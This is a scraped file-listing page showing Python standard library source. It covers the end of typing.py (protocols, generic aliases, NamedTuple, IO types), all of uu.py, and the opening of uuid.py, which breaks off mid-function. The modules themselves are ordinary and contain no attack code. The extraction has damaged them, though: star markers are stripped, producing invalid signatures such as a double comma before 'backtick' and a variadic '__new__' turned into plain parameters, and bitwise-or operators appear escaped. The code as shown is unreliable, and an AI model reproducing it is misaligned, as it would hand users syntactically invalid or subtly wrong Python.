attr != '__annotations__' and attr != '__weakref__' and attr != '_is_protocol' and attr != '_gorg' and attr != '__dict__' and attr != '__args__' and attr != '__slots__' and attr != '_get_protocol_attrs' and attr != '__next_in_mro__' and attr != '__parameters__' and attr != '__origin__' and attr != '__orig_bases__' and attr != '__extra__' and attr != '__tree_hash__' and attr != '__module__'): attrs.add(attr) return attrs class _Protocol(Generic, metaclass=_ProtocolMeta): """Internal base class for protocol classes. This implements a simple-minded structural issubclass check (similar but more general than the one-offs in collections.abc such as Hashable). """ __slots__ = () _is_protocol = True def __class_getitem__(cls, params): return super().__class_getitem__(params) # Some unconstrained type variables. These are used by the container types. # (These are not for export.) T = TypeVar('T') # Any type. KT = TypeVar('KT') # Key type. VT = TypeVar('VT') # Value type. T_co = TypeVar('T_co', covariant=True) # Any type covariant containers. V_co = TypeVar('V_co', covariant=True) # Any type covariant containers. VT_co = TypeVar('VT_co', covariant=True) # Value type covariant containers. T_contra = TypeVar('T_contra', contravariant=True) # Ditto contravariant. # Internal type variable used for Type[]. CT_co = TypeVar('CT_co', covariant=True, bound=type) # A useful type variable with constraints. This represents string types. # (This one is for export!) AnyStr = TypeVar('AnyStr', bytes, str) # Various ABCs mimicking those in collections.abc. def _alias(origin, params, inst=True): return _GenericAlias(origin, params, special=True, inst=inst) Hashable = _alias(collections.abc.Hashable, ()) # Not generic. Awaitable = _alias(collections.abc.Awaitable, T_co) Coroutine = _alias(collections.abc.Coroutine, (T_co, T_contra, V_co)) AsyncIterable = _alias(collections.abc.AsyncIterable, T_co) AsyncIterator = _alias(collections.abc.AsyncIterator, T_co) Iterable = _alias(collections.abc.Iterable, T_co) Iterator = _alias(collections.abc.Iterator, T_co) Reversible = _alias(collections.abc.Reversible, T_co) Sized = _alias(collections.abc.Sized, ()) # Not generic. Container = _alias(collections.abc.Container, T_co) Collection = _alias(collections.abc.Collection, T_co) Callable = _VariadicGenericAlias(collections.abc.Callable, (), special=True) Callable.__doc__ = \ """Callable type; Callable[[int], str] is a function of (int) -> str. The subscription syntax must always be used with exactly two values: the argument list and the return type. The argument list must be a list of types or ellipsis; the return type must be a single type. There is no syntax to indicate optional or keyword arguments, such function types are rarely used as callback types. """ AbstractSet = _alias(collections.abc.Set, T_co) MutableSet = _alias(collections.abc.MutableSet, T) # NOTE: Mapping is only covariant in the value type. Mapping = _alias(collections.abc.Mapping, (KT, VT_co)) MutableMapping = _alias(collections.abc.MutableMapping, (KT, VT)) Sequence = _alias(collections.abc.Sequence, T_co) MutableSequence = _alias(collections.abc.MutableSequence, T) ByteString = _alias(collections.abc.ByteString, ()) # Not generic Tuple = _VariadicGenericAlias(tuple, (), inst=False, special=True) Tuple.__doc__ = \ """Tuple type; Tuple[X, Y] is the cross-product type of X and Y. Example: Tuple[T1, T2] is a tuple of two elements corresponding to type variables T1 and T2. Tuple[int, float, str] is a tuple of an int, a float and a string. To specify a variable-length tuple of homogeneous type, use Tuple[T, ...]. """ List = _alias(list, T, inst=False) Deque = _alias(collections.deque, T) Set = _alias(set, T, inst=False) FrozenSet = _alias(frozenset, T_co, inst=False) MappingView = _alias(collections.abc.MappingView, T_co) KeysView = _alias(collections.abc.KeysView, KT) ItemsView = _alias(collections.abc.ItemsView, (KT, VT_co)) ValuesView = _alias(collections.abc.ValuesView, VT_co) ContextManager = _alias(contextlib.AbstractContextManager, T_co) AsyncContextManager = _alias(contextlib.AbstractAsyncContextManager, T_co) Dict = _alias(dict, (KT, VT), inst=False) DefaultDict = _alias(collections.defaultdict, (KT, VT)) OrderedDict = _alias(collections.OrderedDict, (KT, VT)) Counter = _alias(collections.Counter, T) ChainMap = _alias(collections.ChainMap, (KT, VT)) Generator = _alias(collections.abc.Generator, (T_co, T_contra, V_co)) AsyncGenerator = _alias(collections.abc.AsyncGenerator, (T_co, T_contra)) Type = _alias(type, CT_co, inst=False) Type.__doc__ = \ """A special construct usable to annotate class objects. For example, suppose we have the following classes:: class User: ... # Abstract base for User classes class BasicUser(User): ... class ProUser(User): ... class TeamUser(User): ... And a function that takes a class argument that's a subclass of User and returns an instance of the corresponding class:: U = TypeVar('U', bound=User) def new_user(user_class: Type[U]) -> U: user = user_class() # (Here we could write the user object to a database) return user joe = new_user(BasicUser) At this point the type checker knows that joe has type BasicUser. """ class SupportsInt(_Protocol): """An ABC with one abstract method __int__.""" __slots__ = () @abstractmethod def __int__(self) -> int: pass class SupportsFloat(_Protocol): """An ABC with one abstract method __float__.""" __slots__ = () @abstractmethod def __float__(self) -> float: pass class SupportsComplex(_Protocol): """An ABC with one abstract method __complex__.""" __slots__ = () @abstractmethod def __complex__(self) -> complex: pass class SupportsBytes(_Protocol): """An ABC with one abstract method __bytes__.""" __slots__ = () @abstractmethod def __bytes__(self) -> bytes: pass class SupportsAbs(_Protocol[T_co]): """An ABC with one abstract method __abs__ that is covariant in its return type.""" __slots__ = () @abstractmethod def __abs__(self) -> T_co: pass class SupportsRound(_Protocol[T_co]): """An ABC with one abstract method __round__ that is covariant in its return type.""" __slots__ = () @abstractmethod def __round__(self, ndigits: int = 0) -> T_co: pass def _make_nmtuple(name, types): msg = "NamedTuple('Name', [(f0, t0), (f1, t1), ...]); each t must be a type" types = [(n, _type_check(t, msg)) for n, t in types] nm_tpl = collections.namedtuple(name, [n for n, t in types]) # Prior to PEP 526, only _field_types attribute was assigned. # Now, both __annotations__ and _field_types are used to maintain compatibility. nm_tpl.__annotations__ = nm_tpl._field_types = collections.OrderedDict(types) try: nm_tpl.__module__ = sys._getframe(2).f_globals.get('__name__', '__main__') except (AttributeError, ValueError): pass return nm_tpl # attributes prohibited to set in NamedTuple class syntax _prohibited = ('__new__', '__init__', '__slots__', '__getnewargs__', '_fields', '_field_defaults', '_field_types', '_make', '_replace', '_asdict', '_source') _special = ('__module__', '__name__', '__annotations__') class NamedTupleMeta(type): def __new__(cls, typename, bases, ns): if ns.get('_root', False): return super().__new__(cls, typename, bases, ns) types = ns.get('__annotations__', {}) nm_tpl = _make_nmtuple(typename, types.items()) defaults = [] defaults_dict = {} for field_name in types: if field_name in ns: default_value = ns[field_name] defaults.append(default_value) defaults_dict[field_name] = default_value elif defaults: raise TypeError("Non-default namedtuple field {field_name} cannot " "follow default field(s) {default_names}" .format(field_name=field_name, default_names=', '.join(defaults_dict.keys()))) nm_tpl.__new__.__annotations__ = collections.OrderedDict(types) nm_tpl.__new__.__defaults__ = tuple(defaults) nm_tpl._field_defaults = defaults_dict # update from user namespace without overriding special namedtuple attributes for key in ns: if key in _prohibited: raise AttributeError("Cannot overwrite NamedTuple attribute " + key) elif key not in _special and key not in nm_tpl._fields: setattr(nm_tpl, key, ns[key]) return nm_tpl class NamedTuple(metaclass=NamedTupleMeta): """Typed version of namedtuple. Usage in Python versions >= 3.6:: class Employee(NamedTuple): name: str id: int This is equivalent to:: Employee = collections.namedtuple('Employee', ['name', 'id']) The resulting class has extra __annotations__ and _field_types attributes, giving an ordered dict mapping field names to types. __annotations__ should be preferred, while _field_types is kept to maintain pre PEP 526 compatibility. (The field names are in the _fields attribute, which is part of the namedtuple API.) Alternative equivalent keyword syntax is also accepted:: Employee = NamedTuple('Employee', name=str, id=int) In Python versions <= 3.5 use:: Employee = NamedTuple('Employee', [('name', str), ('id', int)]) """ _root = True def __new__(args, kwargs): if not args: raise TypeError('NamedTuple.__new__(): not enough arguments') cls, args = args # allow the "cls" keyword be passed if args: typename, args = args # allow the "typename" keyword be passed elif 'typename' in kwargs: typename = kwargs.pop('typename') else: raise TypeError("NamedTuple.__new__() missing 1 required positional " "argument: 'typename'") if args: try: fields, = args # allow the "fields" keyword be passed except ValueError: raise TypeError(f'NamedTuple.__new__() takes from 2 to 3 ' f'positional arguments but {len(args) + 2} ' f'were given') from None elif 'fields' in kwargs and len(kwargs) == 1: fields = kwargs.pop('fields') else: fields = None if fields is None: fields = kwargs.items() elif kwargs: raise TypeError("Either list of fields or keywords" " can be provided to NamedTuple, not both") return _make_nmtuple(typename, fields) __new__.__text_signature__ = '($cls, typename, fields=None, /, *kwargs)' def NewType(name, tp): """NewType creates simple unique types with almost zero runtime overhead. NewType(name, tp) is considered a subtype of tp by static type checkers. At runtime, NewType(name, tp) returns a dummy function that simply returns its argument. Usage:: UserId = NewType('UserId', int) def name_by_id(user_id: UserId) -> str: ... UserId('user') # Fails type check name_by_id(42) # Fails type check name_by_id(UserId(42)) # OK num = UserId(5) + 1 # type: int """ def new_type(x): return x new_type.__name__ = name new_type.__supertype__ = tp return new_type # Python-version-specific alias (Python 2: unicode; Python 3: str) Text = str # Constant that's True when type checking, but False here. TYPE_CHECKING = False class IO(Generic[AnyStr]): """Generic base class for TextIO and BinaryIO. This is an abstract, generic version of the return of open(). NOTE: This does not distinguish between the different possible classes (text vs. binary, read vs. write vs. read/write, append-only, unbuffered). The TextIO and BinaryIO subclasses below capture the distinctions between text vs. binary, which is pervasive in the interface; however we currently do not offer a way to track the other distinctions in the type system. """ __slots__ = () @abstractproperty def mode(self) -> str: pass @abstractproperty def name(self) -> str: pass @abstractmethod def close(self) -> None: pass @abstractproperty def closed(self) -> bool: pass @abstractmethod def fileno(self) -> int: pass @abstractmethod def flush(self) -> None: pass @abstractmethod def isatty(self) -> bool: pass @abstractmethod def read(self, n: int = -1) -> AnyStr: pass @abstractmethod def readable(self) -> bool: pass @abstractmethod def readline(self, limit: int = -1) -> AnyStr: pass @abstractmethod def readlines(self, hint: int = -1) -> List[AnyStr]: pass @abstractmethod def seek(self, offset: int, whence: int = 0) -> int: pass @abstractmethod def seekable(self) -> bool: pass @abstractmethod def tell(self) -> int: pass @abstractmethod def truncate(self, size: int = None) -> int: pass @abstractmethod def writable(self) -> bool: pass @abstractmethod def write(self, s: AnyStr) -> int: pass @abstractmethod def writelines(self, lines: List[AnyStr]) -> None: pass @abstractmethod def __enter__(self) -> 'IO[AnyStr]': pass @abstractmethod def __exit__(self, type, value, traceback) -> None: pass class BinaryIO(IO[bytes]): """Typed version of the return of open() in binary mode.""" __slots__ = () @abstractmethod def write(self, s: Union[bytes, bytearray]) -> int: pass @abstractmethod def __enter__(self) -> 'BinaryIO': pass class TextIO(IO[str]): """Typed version of the return of open() in text mode.""" __slots__ = () @abstractproperty def buffer(self) -> BinaryIO: pass @abstractproperty def encoding(self) -> str: pass @abstractproperty def errors(self) -> Optional[str]: pass @abstractproperty def line_buffering(self) -> bool: pass @abstractproperty def newlines(self) -> Any: pass @abstractmethod def __enter__(self) -> 'TextIO': pass class io: """Wrapper namespace for IO generic classes.""" __all__ = ['IO', 'TextIO', 'BinaryIO'] IO = IO TextIO = TextIO BinaryIO = BinaryIO io.__name__ = __name__ + '.io' sys.modules[io.__name__] = io Pattern = _alias(stdlib_re.Pattern, AnyStr) Match = _alias(stdlib_re.Match, AnyStr) class re: """Wrapper namespace for re type aliases.""" __all__ = ['Pattern', 'Match'] Pattern = Pattern Match = Match re.__name__ = __name__ + '.re' sys.modules[re.__name__] = re	55.12 KB	2024-04-17 17:55
📁 unittest	-	2025-10-13 08:00
📁 urllib	-	2025-10-13 08:00
📄 uu.py # Copyright 1994 by Lance Ellinghouse # Cathedral City, California Republic, United States of America. # All Rights Reserved # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright notice and this permission notice appear in # supporting documentation, and that the name of Lance Ellinghouse # not be used in advertising or publicity pertaining to distribution # of the software without specific, written prior permission. # LANCE ELLINGHOUSE DISCLAIMS ALL WARRANTIES WITH REGARD TO # THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND # FITNESS, IN NO EVENT SHALL LANCE ELLINGHOUSE CENTRUM BE LIABLE # FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # # Modified by Jack Jansen, CWI, July 1995: # - Use binascii module to do the actual line-by-line conversion # between ascii and binary. This results in a 1000-fold speedup. The C # version is still 5 times faster, though. # - Arguments more compliant with python standard """Implementation of the UUencode and UUdecode functions. encode(in_file, out_file [,name, mode], , backtick=False) decode(in_file [, out_file, mode, quiet]) """ import binascii import os import sys __all__ = ["Error", "encode", "decode"] class Error(Exception): pass def encode(in_file, out_file, name=None, mode=None, , backtick=False): """Uuencode file""" # # If in_file is a pathname open it and change defaults # opened_files = [] try: if in_file == '-': in_file = sys.stdin.buffer elif isinstance(in_file, str): if name is None: name = os.path.basename(in_file) if mode is None: try: mode = os.stat(in_file).st_mode except AttributeError: pass in_file = open(in_file, 'rb') opened_files.append(in_file) # # Open out_file if it is a pathname # if out_file == '-': out_file = sys.stdout.buffer elif isinstance(out_file, str): out_file = open(out_file, 'wb') opened_files.append(out_file) # # Set defaults for name and mode # if name is None: name = '-' if mode is None: mode = 0o666 # # Remove newline chars from name # name = name.replace('\n','\\n') name = name.replace('\r','\\r') # # Write the data # out_file.write(('begin %o %s\n' % ((mode & 0o777), name)).encode("ascii")) data = in_file.read(45) while len(data) > 0: out_file.write(binascii.b2a_uu(data, backtick=backtick)) data = in_file.read(45) if backtick: out_file.write(b'`\nend\n') else: out_file.write(b' \nend\n') finally: for f in opened_files: f.close() def decode(in_file, out_file=None, mode=None, quiet=False): """Decode uuencoded file""" # # Open the input file, if needed. # opened_files = [] if in_file == '-': in_file = sys.stdin.buffer elif isinstance(in_file, str): in_file = open(in_file, 'rb') opened_files.append(in_file) try: # # Read until a begin is encountered or we've exhausted the file # while True: hdr = in_file.readline() if not hdr: raise Error('No valid begin line found in input file') if not hdr.startswith(b'begin'): continue hdrfields = hdr.split(b' ', 2) if len(hdrfields) == 3 and hdrfields[0] == b'begin': try: int(hdrfields[1], 8) break except ValueError: pass if out_file is None: # If the filename isn't ASCII, what's up with that?!? out_file = hdrfields[2].rstrip(b' \t\r\n\f').decode("ascii") if os.path.exists(out_file): raise Error(f'Cannot overwrite existing file: {out_file}') if (out_file.startswith(os.sep) or f'..{os.sep}' in out_file or ( os.altsep and (out_file.startswith(os.altsep) or f'..{os.altsep}' in out_file)) ): raise Error(f'Refusing to write to {out_file} due to directory traversal') if mode is None: mode = int(hdrfields[1], 8) # # Open the output file # if out_file == '-': out_file = sys.stdout.buffer elif isinstance(out_file, str): fp = open(out_file, 'wb') os.chmod(out_file, mode) out_file = fp opened_files.append(out_file) # # Main decoding loop # s = in_file.readline() while s and s.strip(b' \t\r\n\f') != b'end': try: data = binascii.a2b_uu(s) except binascii.Error as v: # Workaround for broken uuencoders by /Fredrik Lundh nbytes = (((s[0]-32) & 63) * 4 + 5) // 3 data = binascii.a2b_uu(s[:nbytes]) if not quiet: sys.stderr.write("Warning: %s\n" % v) out_file.write(data) s = in_file.readline() if not s: raise Error('Truncated input file') finally: for f in opened_files: f.close() def test(): """uuencode/uudecode main program""" import optparse parser = optparse.OptionParser(usage='usage: %prog [-d] [-t] [input [output]]') parser.add_option('-d', '--decode', dest='decode', help='Decode (instead of encode)?', default=False, action='store_true') parser.add_option('-t', '--text', dest='text', help='data is text, encoded format unix-compatible text?', default=False, action='store_true') (options, args) = parser.parse_args() if len(args) > 2: parser.error('incorrect number of arguments') sys.exit(1) # Use the binary streams underlying stdin/stdout input = sys.stdin.buffer output = sys.stdout.buffer if len(args) > 0: input = args[0] if len(args) > 1: output = args[1] if options.decode: if options.text: if isinstance(output, str): output = open(output, 'wb') else: print(sys.argv[0], ': cannot do -t to stdout') sys.exit(1) decode(input, output) else: if options.text: if isinstance(input, str): input = open(input, 'rb') else: print(sys.argv[0], ': cannot do -t from stdin') sys.exit(1) encode(input, output) if __name__ == '__main__': test()	7.11 KB	2024-04-17 17:55
📄 uuid.py r"""UUID objects (universally unique identifiers) according to RFC 4122. This module provides immutable UUID objects (class UUID) and the functions uuid1(), uuid3(), uuid4(), uuid5() for generating version 1, 3, 4, and 5 UUIDs as specified in RFC 4122. If all you want is a unique ID, you should probably call uuid1() or uuid4(). Note that uuid1() may compromise privacy since it creates a UUID containing the computer's network address. uuid4() creates a random UUID. Typical usage: >>> import uuid # make a UUID based on the host ID and current time >>> uuid.uuid1() # doctest: +SKIP UUID('a8098c1a-f86e-11da-bd1a-00112444be1e') # make a UUID using an MD5 hash of a namespace UUID and a name >>> uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org') UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e') # make a random UUID >>> uuid.uuid4() # doctest: +SKIP UUID('16fd2706-8baf-433b-82eb-8c7fada847da') # make a UUID using a SHA-1 hash of a namespace UUID and a name >>> uuid.uuid5(uuid.NAMESPACE_DNS, 'python.org') UUID('886313e1-3b8a-5372-9b90-0c9aee199e5d') # make a UUID from a string of hex digits (braces and hyphens ignored) >>> x = uuid.UUID('{00010203-0405-0607-0809-0a0b0c0d0e0f}') # convert a UUID to a string of hex digits in standard form >>> str(x) '00010203-0405-0607-0809-0a0b0c0d0e0f' # get the raw 16 bytes of the UUID >>> x.bytes b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f' # make a UUID from a 16-byte string >>> uuid.UUID(bytes=x.bytes) UUID('00010203-0405-0607-0809-0a0b0c0d0e0f') """ import os import sys from enum import Enum __author__ = 'Ka-Ping Yee <ping@zesty.ca>' RESERVED_NCS, RFC_4122, RESERVED_MICROSOFT, RESERVED_FUTURE = [ 'reserved for NCS compatibility', 'specified in RFC 4122', 'reserved for Microsoft compatibility', 'reserved for future definition'] int_ = int # The built-in int type bytes_ = bytes # The built-in bytes type class SafeUUID(Enum): safe = 0 unsafe = -1 unknown = None class UUID: """Instances of the UUID class represent UUIDs as specified in RFC 4122. UUID objects are immutable, hashable, and usable as dictionary keys. Converting a UUID to a string with str() yields something in the form '12345678-1234-1234-1234-123456789abc'. The UUID constructor accepts five possible forms: a similar string of hexadecimal digits, or a tuple of six integer fields (with 32-bit, 16-bit, 16-bit, 8-bit, 8-bit, and 48-bit values respectively) as an argument named 'fields', or a string of 16 bytes (with all the integer fields in big-endian order) as an argument named 'bytes', or a string of 16 bytes (with the first three fields in little-endian order) as an argument named 'bytes_le', or a single 128-bit integer as an argument named 'int'. UUIDs have these read-only attributes: bytes the UUID as a 16-byte string (containing the six integer fields in big-endian byte order) bytes_le the UUID as a 16-byte string (with time_low, time_mid, and time_hi_version in little-endian byte order) fields a tuple of the six integer fields of the UUID, which are also available as six individual attributes and two derived attributes: time_low the first 32 bits of the UUID time_mid the next 16 bits of the UUID time_hi_version the next 16 bits of the UUID clock_seq_hi_variant the next 8 bits of the UUID clock_seq_low the next 8 bits of the UUID node the last 48 bits of the UUID time the 60-bit timestamp clock_seq the 14-bit sequence number hex the UUID as a 32-character hexadecimal string int the UUID as a 128-bit integer urn the UUID as a URN as specified in RFC 4122 variant the UUID variant (one of the constants RESERVED_NCS, RFC_4122, RESERVED_MICROSOFT, or RESERVED_FUTURE) version the UUID version number (1 through 5, meaningful only when the variant is RFC_4122) is_safe An enum indicating whether the UUID has been generated in a way that is safe for multiprocessing applications, via uuid_generate_time_safe(3). """ def __init__(self, hex=None, bytes=None, bytes_le=None, fields=None, int=None, version=None, , is_safe=SafeUUID.unknown): r"""Create a UUID from either a string of 32 hexadecimal digits, a string of 16 bytes as the 'bytes' argument, a string of 16 bytes in little-endian order as the 'bytes_le' argument, a tuple of six integers (32-bit time_low, 16-bit time_mid, 16-bit time_hi_version, 8-bit clock_seq_hi_variant, 8-bit clock_seq_low, 48-bit node) as the 'fields' argument, or a single 128-bit integer as the 'int' argument. When a string of hex digits is given, curly braces, hyphens, and a URN prefix are all optional. For example, these expressions all yield the same UUID: UUID('{12345678-1234-5678-1234-567812345678}') UUID('12345678123456781234567812345678') UUID('urn:uuid:12345678-1234-5678-1234-567812345678') UUID(bytes='\x12\x34\x56\x78'4) UUID(bytes_le='\x78\x56\x34\x12\x34\x12\x78\x56' + '\x12\x34\x56\x78\x12\x34\x56\x78') UUID(fields=(0x12345678, 0x1234, 0x5678, 0x12, 0x34, 0x567812345678)) UUID(int=0x12345678123456781234567812345678) Exactly one of 'hex', 'bytes', 'bytes_le', 'fields', or 'int' must be given. The 'version' argument is optional; if given, the resulting UUID will have its variant and version set according to RFC 4122, overriding the given 'hex', 'bytes', 'bytes_le', 'fields', or 'int'. is_safe is an enum exposed as an attribute on the instance. It indicates whether the UUID has been generated in a way that is safe for multiprocessing applications, via uuid_generate_time_safe(3). """ if [hex, bytes, bytes_le, fields, int].count(None) != 4: raise TypeError('one of the hex, bytes, bytes_le, fields, ' 'or int arguments must be given') if hex is not None: hex = hex.replace('urn:', '').replace('uuid:', '') hex = hex.strip('{}').replace('-', '') if len(hex) != 32: raise ValueError('badly formed hexadecimal UUID string') int = int_(hex, 16) if bytes_le is not None: if len(bytes_le) != 16: raise ValueError('bytes_le is not a 16-char string') bytes = (bytes_le[4-1::-1] + bytes_le[6-1:4-1:-1] + bytes_le[8-1:6-1:-1] + bytes_le[8:]) if bytes is not None: if len(bytes) != 16: raise ValueError('bytes is not a 16-char string') assert isinstance(bytes, bytes_), repr(bytes) int = int_.from_bytes(bytes, byteorder='big') if fields is not None: if len(fields) != 6: raise ValueError('fields is not a 6-tuple') (time_low, time_mid, time_hi_version, clock_seq_hi_variant, clock_seq_low, node) = fields if not 0 <= time_low < 1<<32: raise ValueError('field 1 out of range (need a 32-bit value)') if not 0 <= time_mid < 1<<16: raise ValueError('field 2 out of range (need a 16-bit value)') if not 0 <= time_hi_version < 1<<16: raise ValueError('field 3 out of range (need a 16-bit value)') if not 0 <= clock_seq_hi_variant < 1<<8: raise ValueError('field 4 out of range (need an 8-bit value)') if not 0 <= clock_seq_low < 1<<8: raise ValueError('field 5 out of range (need an 8-bit value)') if not 0 <= node < 1<<48: raise ValueError('field 6 out of range (need a 48-bit value)') clock_seq = (clock_seq_hi_variant << 8) \| clock_seq_low int = ((time_low << 96) \| (time_mid << 80) \| (time_hi_version << 64) \| (clock_seq << 48) \| node) if int is not None: if not 0 <= int < 1<<128: raise ValueError('int is out of range (need a 128-bit value)') if version is not None: if not 1 <= version <= 5: raise ValueError('illegal version number') # Set the variant to RFC 4122. int &= ~(0xc000 << 48) int \|= 0x8000 << 48 # Set the version number. int &= ~(0xf000 << 64) int \|= version << 76 self.__dict__['int'] = int self.__dict__['is_safe'] = is_safe def __getstate__(self): state = self.__dict__.copy() if self.is_safe != SafeUUID.unknown: # is_safe is a SafeUUID instance. Return just its value, so that # it can be un-pickled in older Python versions without SafeUUID. state['is_safe'] = self.is_safe.value else: # omit is_safe when it is "unknown" del state['is_safe'] return state def __setstate__(self, state): self.__dict__.update(state) # is_safe was added in 3.7; it is also omitted when it is "unknown" self.__dict__['is_safe'] = ( SafeUUID(state['is_safe']) if 'is_safe' in state else SafeUUID.unknown ) def __eq__(self, other): if isinstance(other, UUID): return self.int == other.int return NotImplemented # Q. What's the value of being able to sort UUIDs? # A. Use them as keys in a B-Tree or similar mapping. def __lt__(self, other): if isinstance(other, UUID): return self.int < other.int return NotImplemented def __gt__(self, other): if isinstance(other, UUID): return self.int > other.int return NotImplemented def __le__(self, other): if isinstance(other, UUID): return self.int <= other.int return NotImplemented def __ge__(self, other): if isinstance(other, UUID): return self.int >= other.int return NotImplemented def __hash__(self): return hash(self.int) def __int__(self): return self.int def __repr__(self): return '%s(%r)' % (self.__class__.__name__, str(self)) def __setattr__(self, name, value): raise TypeError('UUID objects are immutable') def __str__(self): hex = '%032x' % self.int return '%s-%s-%s-%s-%s' % ( hex[:8], hex[8:12], hex[12:16], hex[16:20], hex[20:]) @property def bytes(self): return self.int.to_bytes(16, 'big') @property def bytes_le(self): bytes = self.bytes return (bytes[4-1::-1] + bytes[6-1:4-1:-1] + bytes[8-1:6-1:-1] + bytes[8:]) @property def fields(self): return (self.time_low, self.time_mid, self.time_hi_version, self.clock_seq_hi_variant, self.clock_seq_low, self.node) @property def time_low(self): return self.int >> 96 @property def time_mid(self): return (self.int >> 80) & 0xffff @property def time_hi_version(self): return (self.int >> 64) & 0xffff @property def clock_seq_hi_variant(self): return (self.int >> 56) & 0xff @property def clock_seq_low(self): return (self.int >> 48) & 0xff @property def time(self): return (((self.time_hi_version & 0x0fff) << 48) \| (self.time_mid << 32) \| self.time_low) @property def clock_seq(self): return (((self.clock_seq_hi_variant & 0x3f) << 8) \| self.clock_seq_low) @property def node(self): return self.int & 0xffffffffffff @property def hex(self): return '%032x' % self.int @property def urn(self): return 'urn:uuid:' + str(self) @property def variant(self): if not self.int & (0x8000 << 48): return RESERVED_NCS elif not self.int & (0x4000 << 48): return RFC_4122 elif not self.int & (0x2000 << 48): return RESERVED_MICROSOFT else: return RESERVED_FUTURE @property def version(self): # The version bits are only meaningful for RFC 4122 UUIDs. if self.variant == RFC_4122: return int((self.int >> 76) & 0xf) def _popen(command, args): import os, shutil, subprocess executable = shutil.which(command) if executable is None: path = os.pathsep.join(('/sbin', '/usr/sbin')) executable = shutil.which(command, path=path) if executable is None: return None # LC_ALL=C to ensure English output, stderr=DEVNULL to prevent output # on stderr (Note: we don't have an example where the words we search # for are actually localized, but in theory some system could do so.) env = dict(os.environ) env['LC_ALL'] = 'C' proc = subprocess.Popen((executable,) + args, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, env=env) return proc # For MAC (a.k.a. IEEE 802, or EUI-48) addresses, the second least significant # bit of the first octet signifies whether the MAC address is universally (0) # or locally (1) administered. Network cards from hardware manufacturers will # always be universally administered to guarantee global uniqueness of the MAC # address, but any particular machine may have other interfaces which are # locally administered. An example of the latter is the bridge interface to # the Touch Bar on MacBook Pros. # # This bit works out to be the 42nd bit counting from 1 being the least # significant, or 1<<41. We'll prefer universally administered MAC addresses # over locally administered ones since the former are globally unique, but # we'll return the first of the latter found if that's all the machine has. # # See https://en.wikipedia.org/wiki/MAC_address#Universal_vs._local def _is_universal(mac): return not (mac & (1 << 41)) def _find_mac(command, args, hw_identifiers, get_index): first_local_mac = None try: proc = _popen(command, args.split()) if not proc: return None with proc: for line in proc.stdout: words = line.lower().rstrip().split() for i in range(len(words)): if words[i] in hw_identifiers: try: word = words[get_index(i)] mac = int(word.replace(b':', b''), 16) if _is_universal(mac): return mac first_local_mac = first_local_mac or mac except (ValueError, IndexError): # Virtual interfaces, such as those provided by # VPNs, do not have a colon-delimited MAC address # as expected, but a 16-byte HWAddr separated by # dashes. These should be ignored in favor of a # real MAC address pass except OSError: pass return first_local_mac or None def _ifconfig_getnode(): """Get the hardware address on Unix by running ifconfig.""" # This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes. keywords = (b'hwaddr', b'ether', b'address:', b'lladdr') for args in ('', '-a', '-av'): mac = _find_mac('ifconfig', args, keywords, lambda i: i+1) if mac: return mac return None def _ip_getnode(): """Get the hardware address on Unix by running ip.""" # This works on Linux with iproute2. mac = _find_mac('ip', 'link', [b'link/ether'], lambda i: i+1) if mac: return mac return None def _arp_getnode(): """Get the hardware address on Unix by running arp.""" import os, socket try: ip_addr = socket.gethostbyname(socket.gethostname()) except OSError: return None # Try getting the MAC addr from arp based on our IP address (Solaris). mac = _find_mac('arp', '-an', [os.fsencode(ip_addr)], lambda i: -1) if mac: return mac # This works on OpenBSD mac = _find_mac('arp', '-an', [os.fsencode(ip_addr)], lambda i: i+1) if mac: return mac # This works on Linux, FreeBSD and NetBSD mac = _find_mac('arp', '-an', [os.fsencode('(%s)' % ip_addr)], lambda i: i+2) # Return None instead of 0. if mac: return mac return None def _lanscan_getnode(): """Get the hardware address on Unix by running lanscan.""" # This might work on HP-UX. return _find_mac('lanscan', '-ai', [b'lan0'], lambda i: 0) def _netstat_getnode(): """Get the hardware address on Unix by running netstat.""" # This might work on AIX, Tru64 UNIX. first_local_mac = None try: proc = _popen('netstat', '-ia') if not proc: return None with proc: words = proc.stdout.readline().rstrip().split() try: i = words.index(b'Address') except ValueError: return None for line in proc.stdout: try: words = line.rstrip().split() word = words[i] if len(word) == 17 and word.count(b':') == 5: mac = int(word.replace(b':', b''), 16) if _is_universal(mac): return mac first_local_mac = first_local_mac or mac except (ValueError, IndexError): pass except OSError: pass return first_local_mac or None def _ipconfig_getnode(): """Get the hardware address on Windows by running ipconfig.exe.""" import os, re, subprocess first_local_mac = None dirs = ['', r'c:\windows\system32', r'c:\winnt\system32'] try: import ctypes buffer = ctypes.create_string_buffer(300) ctypes.windll.kernel32.GetSystemDirectoryA(buffer, 300) dirs.insert(0, buffer.value.decode('mbcs')) except: pass for dir in dirs: try: proc = subprocess.Popen([os.path.join(dir, 'ipconfig'), '/all'], stdout=subprocess.PIPE, encoding="oem") except OSError: continue with proc: for line in proc.stdout: value = line.split(':')[-1].strip().lower() if re.fullmatch('(?:[0-9a-f][0-9a-f]-){5}[0-9a-f][0-9a-f]', value): mac = int(value.replace('-', ''), 16) if _is_universal(mac): return mac first_local_mac = first_local_mac or mac return first_local_mac or None def _netbios_getnode(): """Get the hardware address on Windows using NetBIOS calls. See http://support.microsoft.com/kb/118623 for details.""" import win32wnet, netbios first_local_mac = None ncb = netbios.NCB() ncb.Command = netbios.NCBENUM ncb.Buffer = adapters = netbios.LANA_ENUM() adapters._pack() if win32wnet.Netbios(ncb) != 0: return None adapters._unpack() for i in range(adapters.length): ncb.Reset() ncb.Command = netbios.NCBRESET ncb.Lana_num = ord(adapters.lana[i]) if win32wnet.Netbios(ncb) != 0: continue ncb.Reset() ncb.Command = netbios.NCBASTAT ncb.Lana_num = ord(adapters.lana[i]) ncb.Callname = ''.ljust(16) ncb.Buffer = status = 